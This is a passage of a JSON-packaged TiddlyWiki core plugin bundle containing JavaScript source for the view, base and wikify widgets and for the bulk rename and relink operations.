{\n\t\t\tif(this.viewField === \"title\") {\n\t\t\t\tvalue = this.viewTitle;\n\t\t\t}\n\t\t}\n\t}\n\treturn value;\n};\n\nViewWidget.prototype.getValueAsText = function() {\n\treturn this.getValue({asString: true});\n};\n\nViewWidget.prototype.getValueAsHtmlWikified = function(mode) {\n\treturn this.wiki.renderText(\"text/html\",\"text/vnd.tiddlywiki\",this.getValueAsText(),{\n\t\tparseAsInline: mode !== \"block\",\n\t\tparentWidget: this\n\t});\n};\n\nViewWidget.prototype.getValueAsPlainWikified = function(mode) {\n\treturn this.wiki.renderText(\"text/plain\",\"text/vnd.tiddlywiki\",this.getValueAsText(),{\n\t\tparseAsInline: mode !== \"block\",\n\t\tparentWidget: this\n\t});\n};\n\nViewWidget.prototype.getValueAsHtmlEncodedPlainWikified = function(mode) {\n\treturn $tw.utils.htmlEncode(this.wiki.renderText(\"text/plain\",\"text/vnd.tiddlywiki\",this.getValueAsText(),{\n\t\tparseAsInline: mode !== \"block\",\n\t\tparentWidget: this\n\t}));\n};\n\nViewWidget.prototype.getValueAsHtmlEncoded = function() {\n\treturn $tw.utils.htmlEncode(this.getValueAsText());\n};\n\nViewWidget.prototype.getValueAsUrlEncoded = function() {\n\treturn encodeURIComponent(this.getValueAsText());\n};\n\nViewWidget.prototype.getValueAsDoubleUrlEncoded = function() {\n\treturn encodeURIComponent(encodeURIComponent(this.getValueAsText()));\n};\n\nViewWidget.prototype.getValueAsDate = function(format) {\n\tformat = format || \"YYYY MM DD 0hh:0mm\";\n\tvar value = $tw.utils.parseDate(this.getValue());\n\tif(value && $tw.utils.isDate(value) && value.toString() !== \"Invalid Date\") {\n\t\treturn $tw.utils.formatDateString(value,format);\n\t} else {\n\t\treturn \"\";\n\t}\n};\n\nViewWidget.prototype.getValueAsRelativeDate = function(format) {\n\tvar value = $tw.utils.parseDate(this.getValue());\n\tif(value && $tw.utils.isDate(value) && value.toString() !== \"Invalid Date\") {\n\t\treturn $tw.utils.getRelativeDate((new Date()) - (new Date(value))).description;\n\t} else {\n\t\treturn \"\";\n\t}\n};\n\nViewWidget.prototype.getValueAsStrippedComments = function() {\n\tvar lines = this.getValueAsText().split(\"\\n\"),\n\t\tout = [];\n\tfor(var line=0; line<lines.length; line++) {\n\t\tvar text = lines[line];\n\t\tif(!/^\\s*\\/\\/#/.test(text)) {\n\t\t\tout.push(text);\n\t\t}\n\t}\n\treturn out.join(\"\\n\");\n};\n\nViewWidget.prototype.getValueAsJsEncoded = function() {\n\treturn $tw.utils.stringify(this.getValueAsText());\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nViewWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler || changedAttributes.field || changedAttributes.index || changedAttributes.template || changedAttributes.format || changedTiddlers[this.viewTitle]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn false;\t\n\t}\n};\n\nexports.view = ViewWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/widget.js": {
"title": "$:/core/modules/widgets/widget.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/widget.js\ntype: application/javascript\nmodule-type: widget\n\nWidget base class\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nCreate a widget object for a parse tree node\n\tparseTreeNode: reference to the parse tree node to be rendered\n\toptions: see below\nOptions include:\n\twiki: mandatory reference to wiki associated with this render tree\n\tparentWidget: optional reference to a parent renderer node for the context chain\n\tdocument: optional document object to use instead of global document\n*/\nvar Widget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInitialise widget properties. These steps are pulled out of the constructor so that we can reuse them in subclasses\n*/\nWidget.prototype.initialise = function(parseTreeNode,options) {\n\t// Bail if parseTreeNode is undefined, meaning that the widget constructor was called without any arguments so that it can be subclassed\n\tif(parseTreeNode === undefined) {\n\t\treturn;\n\t}\n\toptions = options || {};\n\t// Save widget info\n\tthis.parseTreeNode = parseTreeNode;\n\tthis.wiki = options.wiki;\n\tthis.parentWidget = options.parentWidget;\n\tthis.variablesConstructor = function() {};\n\tthis.variablesConstructor.prototype = this.parentWidget ? this.parentWidget.variables : {};\n\tthis.variables = new this.variablesConstructor();\n\tthis.document = options.document;\n\tthis.attributes = {};\n\tthis.children = [];\n\tthis.domNodes = [];\n\tthis.eventListeners = {};\n\t// Hashmap of the widget classes\n\tif(!this.widgetClasses) {\n\t\t// Get widget classes\n\t\tWidget.prototype.widgetClasses = $tw.modules.applyMethods(\"widget\");\n\t\t// Process any subclasses\n\t\t$tw.modules.forEachModuleOfType(\"widget-subclass\",function(title,module) {\n\t\t\tif(module.baseClass) {\n\t\t\t\tvar baseClass = Widget.prototype.widgetClasses[module.baseClass];\n\t\t\t\tif(!baseClass) {\n\t\t\t\t\tthrow \"Module '\" + title + \"' is attemping to extend a non-existent base class '\" + module.baseClass + \"'\";\n\t\t\t\t}\n\t\t\t\tvar subClass = module.constructor;\n\t\t\t\tsubClass.prototype = new baseClass();\n\t\t\t\t$tw.utils.extend(subClass.prototype,module.prototype);\n\t\t\t\tWidget.prototype.widgetClasses[module.name || module.baseClass] = subClass;\n\t\t\t}\n\t\t});\n\t}\n};\n\n/*\nRender this widget into the DOM\n*/\nWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nWidget.prototype.execute = function() {\n\tthis.makeChildWidgets();\n};\n\n/*\nSet the value of a context variable\nname: name of the variable\nvalue: value of the variable\nparams: array of {name:, default:} for each parameter\nisMacroDefinition: true if the variable is set via a \\define macro pragma (and hence should have variable substitution performed)\n*/\nWidget.prototype.setVariable = function(name,value,params,isMacroDefinition) {\n\tthis.variables[name] = {value: value, params: params, isMacroDefinition: !!isMacroDefinition};\n};\n\n/*\nGet the prevailing value of a context variable\nname: name of variable\noptions: see below\nOptions include\nparams: array of {name:, value:} for each parameter\ndefaultValue: default value if the variable is not defined\n\nReturns an object with the following fields:\n\nparams: array of {name:,value:} of parameters passed to wikitext variables\ntext: text of variable, with parameters properly substituted\n*/\nWidget.prototype.getVariableInfo = function(name,options) {\n\toptions = options || {};\n\tvar actualParams = options.params || [],\n\t\tparentWidget = this.parentWidget;\n\t// Check for the variable defined in the parent widget (or an ancestor in the prototype chain)\n\tif(parentWidget && name in parentWidget.variables) {\n\t\tvar variable = parentWidget.variables[name],\n\t\t\tvalue = variable.value,\n\t\t\tparams = this.resolveVariableParameters(variable.params,actualParams);\n\t\t// Substitute any parameters specified in the definition\n\t\t$tw.utils.each(params,function(param) {\n\t\t\tvalue = $tw.utils.replaceString(value,new RegExp(\"\\\\$\" + $tw.utils.escapeRegExp(param.name) + \"\\\\$\",\"mg\"),param.value);\n\t\t});\n\t\t// Only substitute variable references if this variable was defined with the \\define pragma\n\t\tif(variable.isMacroDefinition) {\n\t\t\tvalue = this.substituteVariableReferences(value);\t\t\t\n\t\t}\n\t\treturn {\n\t\t\ttext: value,\n\t\t\tparams: params\n\t\t};\n\t}\n\t// If the variable doesn't exist in the parent widget then look for a macro module\n\treturn {\n\t\ttext: this.evaluateMacroModule(name,actualParams,options.defaultValue)\n\t};\n};\n\n/*\nSimplified version of getVariableInfo() that just returns the text\n*/\nWidget.prototype.getVariable = function(name,options) {\n\treturn this.getVariableInfo(name,options).text;\n};\n\nWidget.prototype.resolveVariableParameters = function(formalParams,actualParams) {\n\tformalParams = formalParams || [];\n\tactualParams = actualParams || [];\n\tvar nextAnonParameter = 0, // Next candidate anonymous parameter in macro call\n\t\tparamInfo, paramValue,\n\t\tresults = [];\n\t// Step through each of the parameters in the macro definition\n\tfor(var p=0; p<formalParams.length; p++) {\n\t\t// Check if we've got a macro call parameter with the same name\n\t\tparamInfo = formalParams[p];\n\t\tparamValue = undefined;\n\t\tfor(var m=0; m<actualParams.length; m++) {\n\t\t\tif(actualParams[m].name === paramInfo.name) {\n\t\t\t\tparamValue = actualParams[m].value;\n\t\t\t}\n\t\t}\n\t\t// If not, use the next available anonymous macro call parameter\n\t\twhile(nextAnonParameter < actualParams.length && actualParams[nextAnonParameter].name) {\n\t\t\tnextAnonParameter++;\n\t\t}\n\t\tif(paramValue === undefined && nextAnonParameter < actualParams.length) {\n\t\t\tparamValue = actualParams[nextAnonParameter++].value;\n\t\t}\n\t\t// If we've still not got a value, use the default, if any\n\t\tparamValue = paramValue || paramInfo[\"default\"] || \"\";\n\t\t// Store the parameter name and value\n\t\tresults.push({name: paramInfo.name, value: paramValue});\n\t}\n\treturn results;\n};\n\nWidget.prototype.substituteVariableReferences = function(text) {\n\tvar self = this;\n\treturn (text || \"\").replace(/\\$\\(([^\\)\\$]+)\\)\\$/g,function(match,p1,offset,string) {\n\t\treturn self.getVariable(p1,{defaultValue: \"\"});\n\t});\n};\n\nWidget.prototype.evaluateMacroModule = function(name,actualParams,defaultValue) {\n\tif($tw.utils.hop($tw.macros,name)) {\n\t\tvar macro = $tw.macros[name],\n\t\t\targs = [];\n\t\tif(macro.params.length > 0) {\n\t\t\tvar nextAnonParameter = 0, // Next candidate anonymous parameter in macro call\n\t\t\t\tparamInfo, paramValue;\n\t\t\t// Step through each of the parameters in the macro definition\n\t\t\tfor(var p=0; p<macro.params.length; p++) {\n\t\t\t\t// Check if we've got a macro call parameter with the same name\n\t\t\t\tparamInfo = macro.params[p];\n\t\t\t\tparamValue = undefined;\n\t\t\t\tfor(var m=0; m<actualParams.length; m++) {\n\t\t\t\t\tif(actualParams[m].name === paramInfo.name) {\n\t\t\t\t\t\tparamValue = actualParams[m].value;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// If not, use the next available anonymous macro call parameter\n\t\t\t\twhile(nextAnonParameter < actualParams.length && actualParams[nextAnonParameter].name) {\n\t\t\t\t\tnextAnonParameter++;\n\t\t\t\t}\n\t\t\t\tif(paramValue === undefined && nextAnonParameter < actualParams.length) {\n\t\t\t\t\tparamValue = actualParams[nextAnonParameter++].value;\n\t\t\t\t}\n\t\t\t\t// If we've still not got a value, use the default, if any\n\t\t\t\tparamValue = paramValue || paramInfo[\"default\"] || \"\";\n\t\t\t\t// Save the parameter\n\t\t\t\targs.push(paramValue);\n\t\t\t}\n\t\t}\n\t\telse for(var i=0; i<actualParams.length; ++i) {\n\t\t\targs.push(actualParams[i].value);\n\t\t}\n\t\treturn (macro.run.apply(this,args) || \"\").toString();\n\t} else {\n\t\treturn defaultValue;\n\t}\n};\n\n/*\nCheck whether a given context variable value exists in the parent chain\n*/\nWidget.prototype.hasVariable = function(name,value) {\n\tvar node = this;\n\twhile(node) {\n\t\tif($tw.utils.hop(node.variables,name) && node.variables[name].value === value) {\n\t\t\treturn true;\n\t\t}\n\t\tnode = node.parentWidget;\n\t}\n\treturn false;\n};\n\n/*\nConstruct a qualifying string based on a hash of concatenating the values of a given variable in the parent chain\n*/\nWidget.prototype.getStateQualifier = function(name) {\n\tthis.qualifiers = this.qualifiers || Object.create(null);\n\tname = name || \"transclusion\";\n\tif(this.qualifiers[name]) {\n\t\treturn this.qualifiers[name];\n\t} else {\n\t\tvar output = [],\n\t\t\tnode = this;\n\t\twhile(node && node.parentWidget) {\n\t\t\tif($tw.utils.hop(node.parentWidget.variables,name)) {\n\t\t\t\toutput.push(node.getVariable(name));\n\t\t\t}\n\t\t\tnode = node.parentWidget;\n\t\t}\n\t\tvar value = $tw.utils.hashString(output.join(\"\"));\n\t\tthis.qualifiers[name] = value;\n\t\treturn value;\n\t}\n};\n\n/*\nCompute the current values of the attributes of the widget. Returns a hashmap of the names of the attributes that have changed\n*/\nWidget.prototype.computeAttributes = function() {\n\tvar changedAttributes = {},\n\t\tself = this,\n\t\tvalue;\n\t$tw.utils.each(this.parseTreeNode.attributes,function(attribute,name) {\n\t\tif(attribute.type === \"filtered\") {\n\t\t\tvalue = self.wiki.filterTiddlers(attribute.filter,self)[0] || \"\";\n\t\t} else if(attribute.type === \"indirect\") {\n\t\t\tvalue = self.wiki.getTextReference(attribute.textReference,\"\",self.getVariable(\"currentTiddler\"));\n\t\t} else if(attribute.type === \"macro\") {\n\t\t\tvalue = self.getVariable(attribute.value.name,{params: attribute.value.params});\n\t\t} else { // String attribute\n\t\t\tvalue = attribute.value;\n\t\t}\n\t\t// Check whether the attribute has changed\n\t\tif(self.attributes[name] !== value) {\n\t\t\tself.attributes[name] = value;\n\t\t\tchangedAttributes[name] = true;\n\t\t}\n\t});\n\treturn changedAttributes;\n};\n\n/*\nCheck for the presence of an attribute\n*/\nWidget.prototype.hasAttribute = function(name) {\n\treturn $tw.utils.hop(this.attributes,name);\n};\n\n/*\nGet the value of an attribute\n*/\nWidget.prototype.getAttribute = function(name,defaultText) {\n\tif($tw.utils.hop(this.attributes,name)) {\n\t\treturn this.attributes[name];\n\t} else {\n\t\treturn defaultText;\n\t}\n};\n\n/*\nAssign the computed attributes of the widget to a domNode\noptions include:\nexcludeEventAttributes: ignores attributes whose name begins with \"on\"\n*/\nWidget.prototype.assignAttributes = function(domNode,options) {\n\toptions = options || {};\n\tvar self = this;\n\t$tw.utils.each(this.attributes,function(v,a) {\n\t\t// Check exclusions\n\t\tif(options.excludeEventAttributes && a.substr(0,2) === \"on\") {\n\t\t\tv = undefined;\n\t\t}\n\t\tif(v !== undefined) {\n\t\t\tvar b = a.split(\":\");\n\t\t\t// Setting certain attributes can cause a DOM error (eg xmlns on the svg element)\n\t\t\ttry {\n\t\t\t\tif (b.length == 2 && b[0] == \"xlink\"){\n\t\t\t\t\tdomNode.setAttributeNS(\"http://www.w3.org/1999/xlink\",b[1],v);\n\t\t\t\t} else {\n\t\t\t\t\tdomNode.setAttributeNS(null,a,v);\n\t\t\t\t}\n\t\t\t} catch(e) {\n\t\t\t}\n\t\t}\n\t});\n};\n\n/*\nMake child widgets correspondng to specified parseTreeNodes\n*/\nWidget.prototype.makeChildWidgets = function(parseTreeNodes) {\n\tthis.children = [];\n\tvar self = this;\n\t$tw.utils.each(parseTreeNodes || (this.parseTreeNode && this.parseTreeNode.children),function(childNode) {\n\t\tself.children.push(self.makeChildWidget(childNode));\n\t});\n};\n\n/*\nConstruct the widget object for a parse tree node\n*/\nWidget.prototype.makeChildWidget = function(parseTreeNode) {\n\tvar WidgetClass = this.widgetClasses[parseTreeNode.type];\n\tif(!WidgetClass) {\n\t\tWidgetClass = this.widgetClasses.text;\n\t\tparseTreeNode = {type: \"text\", text: \"Undefined widget '\" + parseTreeNode.type + \"'\"};\n\t}\n\treturn new WidgetClass(parseTreeNode,{\n\t\twiki: this.wiki,\n\t\tvariables: {},\n\t\tparentWidget: this,\n\t\tdocument: this.document\n\t});\n};\n\n/*\nGet the next sibling of this widget\n*/\nWidget.prototype.nextSibling = function() {\n\tif(this.parentWidget) {\n\t\tvar index = this.parentWidget.children.indexOf(this);\n\t\tif(index !== -1 && index < this.parentWidget.children.length-1) {\n\t\t\treturn this.parentWidget.children[index+1];\n\t\t}\n\t}\n\treturn null;\n};\n\n/*\nGet the previous sibling of this widget\n*/\nWidget.prototype.previousSibling = function() {\n\tif(this.parentWidget) {\n\t\tvar index = this.parentWidget.children.indexOf(this);\n\t\tif(index !== -1 && index > 0) {\n\t\t\treturn this.parentWidget.children[index-1];\n\t\t}\n\t}\n\treturn null;\n};\n\n/*\nRender the children of this widget into the DOM\n*/\nWidget.prototype.renderChildren = function(parent,nextSibling) {\n\tvar children = this.children;\n\tfor(var i = 0; i < children.length; i++) {\n\t\tchildren[i].render(parent,nextSibling);\n\t};\n};\n\n/*\nAdd a list of event listeners from an array [{type:,handler:},...]\n*/\nWidget.prototype.addEventListeners = function(listeners) {\n\tvar self = this;\n\t$tw.utils.each(listeners,function(listenerInfo) {\n\t\tself.addEventListener(listenerInfo.type,listenerInfo.handler);\n\t});\n};\n\n/*\nAdd an event listener\n*/\nWidget.prototype.addEventListener = function(type,handler) {\n\tvar self = this;\n\tif(typeof handler === \"string\") { // The handler is a method name on this widget\n\t\tthis.eventListeners[type] = function(event) {\n\t\t\treturn self[handler].call(self,event);\n\t\t};\n\t} else { // The handler is a function\n\t\tthis.eventListeners[type] = function(event) {\n\t\t\treturn handler.call(self,event);\n\t\t};\n\t}\n};\n\n/*\nDispatch an event to a widget. If the widget doesn't handle the event then it is also dispatched to the parent widget\n*/\nWidget.prototype.dispatchEvent = function(event) {\n\t// Dispatch the event if this widget handles it\n\tvar listener = this.eventListeners[event.type];\n\tif(listener) {\n\t\t// Don't propagate the event if the listener returned false\n\t\tif(!listener(event)) {\n\t\t\treturn false;\n\t\t}\n\t}\n\t// Dispatch the event to the parent widget\n\tif(this.parentWidget) {\n\t\treturn this.parentWidget.dispatchEvent(event);\n\t}\n\treturn true;\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nWidget.prototype.refresh = function(changedTiddlers) {\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nRebuild a previously rendered widget\n*/\nWidget.prototype.refreshSelf = function() {\n\tvar nextSibling = this.findNextSiblingDomNode();\n\tthis.removeChildDomNodes();\n\tthis.render(this.parentDomNode,nextSibling);\n};\n\n/*\nRefresh all the children of a widget\n*/\nWidget.prototype.refreshChildren = function(changedTiddlers) {\n\tvar children = this.children,\n\t\trefreshed = false;\n\tfor (var i = 0; i < children.length; i++) {\n\t\trefreshed = children[i].refresh(changedTiddlers) || refreshed;\n\t}\n\treturn refreshed;\n};\n\n/*\nFind the next sibling in the DOM to this widget. This is done by scanning the widget tree through all next siblings and their descendents that share the same parent DOM node\n*/\nWidget.prototype.findNextSiblingDomNode = function(startIndex) {\n\t// Refer to this widget by its index within its parents children\n\tvar parent = this.parentWidget,\n\t\tindex = startIndex !== undefined ? startIndex : parent.children.indexOf(this);\nif(index === -1) {\n\tthrow \"node not found in parents children\";\n}\n\t// Look for a DOM node in the later siblings\n\twhile(++index < parent.children.length) {\n\t\tvar domNode = parent.children[index].findFirstDomNode();\n\t\tif(domNode) {\n\t\t\treturn domNode;\n\t\t}\n\t}\n\t// Go back and look for later siblings of our parent if it has the same parent dom node\n\tvar grandParent = parent.parentWidget;\n\tif(grandParent && parent.parentDomNode === this.parentDomNode) {\n\t\tindex = grandParent.children.indexOf(parent);\n\t\tif(index !== -1) {\n\t\t\treturn parent.findNextSiblingDomNode(index);\n\t\t}\n\t}\n\treturn null;\n};\n\n/*\nFind the first DOM node generated by a widget or its children\n*/\nWidget.prototype.findFirstDomNode = function() {\n\t// Return the first dom node of this widget, if we've got one\n\tif(this.domNodes.length > 0) {\n\t\treturn this.domNodes[0];\n\t}\n\t// Otherwise, recursively call our children\n\tfor(var t=0; t<this.children.length; t++) {\n\t\tvar domNode = this.children[t].findFirstDomNode();\n\t\tif(domNode) {\n\t\t\treturn domNode;\n\t\t}\n\t}\n\treturn null;\n};\n\n/*\nRemove any DOM nodes created by this widget or its children\n*/\nWidget.prototype.removeChildDomNodes = function() {\n\t// If this widget has directly created DOM nodes, delete them and exit. This assumes that any child widgets are contained within the created DOM nodes, which would normally be the case\n\tif(this.domNodes.length > 0) {\n\t\t$tw.utils.each(this.domNodes,function(domNode) {\n\t\t\tdomNode.parentNode.removeChild(domNode);\n\t\t});\n\t\tthis.domNodes = [];\n\t} else {\n\t\t// Otherwise, ask the child widgets to delete their DOM nodes\n\t\t$tw.utils.each(this.children,function(childWidget) {\n\t\t\tchildWidget.removeChildDomNodes();\n\t\t});\n\t}\n};\n\n/*\nInvoke the action widgets that are descendents of the current widget.\n*/\nWidget.prototype.invokeActions = function(triggeringWidget,event) {\n\tvar handled = false;\n\t// For each child widget\n\tfor(var t=0; t<this.children.length; t++) {\n\t\tvar child = this.children[t];\n\t\t// Invoke the child if it is an action widget\n\t\tif(child.invokeAction) {\n\t\t\tchild.refreshSelf();\n\t\t\tif(child.invokeAction(triggeringWidget,event)) {\n\t\t\t\thandled = true;\n\t\t\t}\n\t\t}\n\t\t// Propagate through through the child if it permits it\n\t\tif(child.allowActionPropagation() && child.invokeActions(triggeringWidget,event)) {\n\t\t\thandled = true;\n\t\t}\n\t}\n\treturn handled;\n};\n\n/*\nInvoke the action widgets defined in a string\n*/\nWidget.prototype.invokeActionString = function(actions,triggeringWidget,event,variables) {\n\tactions = actions || \"\";\n\tvar parser = this.wiki.parseText(\"text/vnd.tiddlywiki\",actions,{\n\t\t\tparentWidget: this,\n\t\t\tdocument: this.document\n\t\t}),\n\t\twidgetNode = this.wiki.makeWidget(parser,{\n\t\t\tparentWidget: this,\n\t\t\tdocument: this.document,\n\t\t\tvariables: variables\n\t\t});\n\tvar container = this.document.createElement(\"div\");\n\twidgetNode.render(container,null);\n\treturn widgetNode.invokeActions(this,event);\n};\n\nWidget.prototype.allowActionPropagation = function() {\n\treturn true;\n};\n\nexports.widget = Widget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/wikify.js": {
"title": "$:/core/modules/widgets/wikify.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/wikify.js\ntype: application/javascript\nmodule-type: widget\n\nWidget to wikify text into a variable\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar WikifyWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nWikifyWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nWikifyWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nWikifyWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.wikifyName = this.getAttribute(\"name\");\n\tthis.wikifyText = this.getAttribute(\"text\");\n\tthis.wikifyType = this.getAttribute(\"type\");\n\tthis.wikifyMode = this.getAttribute(\"mode\",\"block\");\n\tthis.wikifyOutput = this.getAttribute(\"output\",\"text\");\n\t// Create the parse tree\n\tthis.wikifyParser = this.wiki.parseText(this.wikifyType,this.wikifyText,{\n\t\t\tparseAsInline: this.wikifyMode === \"inline\"\n\t\t});\n\t// Create the widget tree \n\tthis.wikifyWidgetNode = this.wiki.makeWidget(this.wikifyParser,{\n\t\t\tdocument: $tw.fakeDocument,\n\t\t\tparentWidget: this\n\t\t});\n\t// Render the widget tree to the container\n\tthis.wikifyContainer = $tw.fakeDocument.createElement(\"div\");\n\tthis.wikifyWidgetNode.render(this.wikifyContainer,null);\n\tthis.wikifyResult = this.getResult();\n\t// Set context variable\n\tthis.setVariable(this.wikifyName,this.wikifyResult);\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nReturn the result string\n*/\nWikifyWidget.prototype.getResult = function() {\n\tvar result;\n\tswitch(this.wikifyOutput) {\n\t\tcase \"text\":\n\t\t\tresult = this.wikifyContainer.textContent;\n\t\t\tbreak;\n\t\tcase \"formattedtext\":\n\t\t\tresult = this.wikifyContainer.formattedTextContent;\n\t\t\tbreak;\n\t\tcase \"html\":\n\t\t\tresult = this.wikifyContainer.innerHTML;\n\t\t\tbreak;\n\t\tcase \"parsetree\":\n\t\t\tresult = JSON.stringify(this.wikifyParser.tree,0,$tw.config.preferences.jsonSpaces);\n\t\t\tbreak;\n\t\tcase \"widgettree\":\n\t\t\tresult = JSON.stringify(this.getWidgetTree(),0,$tw.config.preferences.jsonSpaces);\n\t\t\tbreak;\n\t}\n\treturn result;\n};\n\n/*\nReturn a string of the widget tree\n*/\nWikifyWidget.prototype.getWidgetTree = function() {\n\tvar copyNode = function(widgetNode,resultNode) {\n\t\t\tvar type = widgetNode.parseTreeNode.type;\n\t\t\tresultNode.type = type;\n\t\t\tswitch(type) {\n\t\t\t\tcase \"element\":\n\t\t\t\t\tresultNode.tag = widgetNode.parseTreeNode.tag;\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"text\":\n\t\t\t\t\tresultNode.text = widgetNode.parseTreeNode.text;\n\t\t\t\t\tbreak;\t\n\t\t\t}\n\t\t\tif(Object.keys(widgetNode.attributes || {}).length > 0) {\n\t\t\t\tresultNode.attributes = {};\n\t\t\t\t$tw.utils.each(widgetNode.attributes,function(attr,attrName) {\n\t\t\t\t\tresultNode.attributes[attrName] = widgetNode.getAttribute(attrName);\n\t\t\t\t});\n\t\t\t}\n\t\t\tif(Object.keys(widgetNode.children || {}).length > 0) {\n\t\t\t\tresultNode.children = [];\n\t\t\t\t$tw.utils.each(widgetNode.children,function(widgetChildNode) {\n\t\t\t\t\tvar node = {};\n\t\t\t\t\tresultNode.children.push(node);\n\t\t\t\t\tcopyNode(widgetChildNode,node);\n\t\t\t\t});\n\t\t\t}\n\t\t},\n\t\tresults = {};\n\tcopyNode(this.wikifyWidgetNode,results);\n\treturn results;\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nWikifyWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\t// Refresh ourselves entirely if any of our attributes have changed\n\tif(changedAttributes.name || changedAttributes.text || changedAttributes.type || changedAttributes.mode || changedAttributes.output) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\t// Refresh the widget tree\n\t\tif(this.wikifyWidgetNode.refresh(changedTiddlers)) {\n\t\t\t// Check if there was any change\n\t\t\tvar result = this.getResult();\n\t\t\tif(result !== this.wikifyResult) {\n\t\t\t\t// If so, save the change\n\t\t\t\tthis.wikifyResult = result;\n\t\t\t\tthis.setVariable(this.wikifyName,this.wikifyResult);\n\t\t\t\t// Refresh each of our child widgets\n\t\t\t\t$tw.utils.each(this.children,function(childWidget) {\n\t\t\t\t\tchildWidget.refreshSelf();\n\t\t\t\t});\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\t// Just refresh the children\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nexports.wikify = WikifyWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/wiki-bulkops.js": {
"title": "$:/core/modules/wiki-bulkops.js",
"text": "/*\\\ntitle: $:/core/modules/wiki-bulkops.js\ntype: application/javascript\nmodule-type: wikimethod\n\nBulk tiddler operations such as rename.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nRename a tiddler, and relink any tags or lists that reference it.\n*/\nfunction renameTiddler(fromTitle,toTitle,options) {\n\tfromTitle = (fromTitle || \"\").trim();\n\ttoTitle = (toTitle || \"\").trim();\n\toptions = options || {};\n\tif(fromTitle && toTitle && fromTitle !== toTitle) {\n\t\t// Rename the tiddler itself\n\t\tvar oldTiddler = this.getTiddler(fromTitle),\n\t\t\tnewTiddler = new $tw.Tiddler(oldTiddler,{title: toTitle},this.getModificationFields());\n\t\tnewTiddler = $tw.hooks.invokeHook(\"th-renaming-tiddler\",newTiddler,oldTiddler);\n\t\tthis.addTiddler(newTiddler);\n\t\tthis.deleteTiddler(fromTitle);\n\t\t// Rename any tags or lists that reference it\n\t\tthis.relinkTiddler(fromTitle,toTitle,options)\n\t}\n}\n\n/*\nRelink any tags or lists that reference a given tiddler\n*/\nfunction relinkTiddler(fromTitle,toTitle,options) {\n\tvar self = this;\n\tfromTitle = (fromTitle || \"\").trim();\n\ttoTitle = (toTitle || \"\").trim();\n\toptions = options || {};\n\tif(fromTitle && toTitle && fromTitle !== toTitle) {\n\t\tthis.each(function(tiddler,title) {\n\t\t\tvar type = tiddler.fields.type || \"\";\n\t\t\t// Don't touch plugins or JavaScript modules\n\t\t\tif(!tiddler.fields[\"plugin-type\"] && type !== \"application/javascript\") {\n\t\t\t\tvar tags = tiddler.fields.tags ? tiddler.fields.tags.slice(0) : undefined,\n\t\t\t\t\tlist = tiddler.fields.list ? tiddler.fields.list.slice(0) : undefined,\n\t\t\t\t\tisModified = false;\n\t\t\t\tif(!options.dontRenameInTags) {\n\t\t\t\t\t// Rename tags\n\t\t\t\t\t$tw.utils.each(tags,function (title,index) {\n\t\t\t\t\t\tif(title === fromTitle) {\nconsole.log(\"Renaming tag '\" + tags[index] + \"' to '\" + toTitle + \"' of tiddler '\" + tiddler.fields.title + \"'\");\n\t\t\t\t\t\t\ttags[index] = toTitle;\n\t\t\t\t\t\t\tisModified = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\tif(!options.dontRenameInLists) {\n\t\t\t\t\t// Rename lists\n\t\t\t\t\t$tw.utils.each(list,function (title,index) {\n\t\t\t\t\t\tif(title === fromTitle) {\nconsole.log(\"Renaming list item '\" + list[index] + \"' to '\" + toTitle + \"' of tiddler '\" + tiddler.fields.title + \"'\");\n\t\t\t\t\t\t\tlist[index] = toTitle;\n\t\t\t\t\t\t\tisModified = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\tif(isModified) {\n\t\t\t\t\tvar newTiddler = new $tw.Tiddler(tiddler,{tags: tags, list: list},self.getModificationFields())\n\t\t\t\t\tnewTiddler = $tw.hooks.invokeHook(\"th-relinking-tiddler\",newTiddler,tiddler);\n\t\t\t\t\tself.addTiddler(newTiddler);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n};\n\nexports.renameTiddler = renameTiddler;\nexports.relinkTiddler = relinkTiddler;\n\n})();\n",
"type": "application/javascript",
